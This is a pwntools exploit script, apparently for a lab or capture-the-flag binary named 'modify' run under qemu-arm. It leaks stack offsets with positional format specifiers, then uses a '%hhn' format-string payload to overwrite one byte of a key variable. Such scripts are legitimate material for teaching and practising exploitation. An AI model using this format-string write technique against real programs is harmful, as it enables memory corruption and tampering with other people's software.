from pwn import *

# Configuration
context.arch = 'arm'
context.log_level = 'debug'

def find_offset():
    """
    First find the offset of our string in the stack
    """
    p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './modify'])
    
    # Get initial key value
    p.recvuntil(b"Initial key value: ")
    initial_key = p.recvline().strip()
    log.info(f"Initial key: {initial_key.decode()}")
    
    # Create format string pattern
    payload = b""
    for i in range(1, 20):
        payload += f"%{i}$08x.".encode()
    
    # Send payload
    p.sendlineafter(b"Input your string: ", payload)
    
    # Get and analyze the output
    p.recvuntil(b"Echo: ")
    leak = p.recvuntil(b"\nKey", drop=True).decode()
    log.info("Stack dump:")
    
    values = leak.split('.')
    for i, val in enumerate(values, 1):
        if val.strip():
            log.info(f"Offset {i}: {val}")
    
    p.close()

def write_byte():
    """
    Write 0x22 to the lowest byte of the key
    """
    p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './modify'])
    
    # Get key address
    p.recvuntil(b"Key address: ")
    key_addr = int(p.recvline().strip(), 16)
    log.success(f"Key address: {hex(key_addr)}")
    
    # Create write payload
    # We want to write 0x22 (34 in decimal) to the lowest byte
    target_byte = 0x22
    offset = 5  # Adjust this based on the stack dump
    
    # Use %hhn to write a single byte
    # We need to output exactly 34 characters before %hhn
    payload = f"%{target_byte}c%{offset}$hhn".encode()
    payload = payload.ljust(32, b'A')  # Padding for alignment
    payload += p32(key_addr)  # Address to write to
    
    # Send payload
    p.sendlineafter(b"Input your string: ", payload)
    
    # Get result
    output = p.recvall(timeout=2)
    if b"Success" in output:
        log.success("Successfully modified the last byte to 0x22!")
    
if __name__ == "__main__":
    # First, find the offset in stack
    log.info("Phase 1: Finding offset...")
    find_offset()
    
    # Then, write the byte
    log.info("\nPhase 2: Writing 0x22 to the lowest byte...")
    write_byte()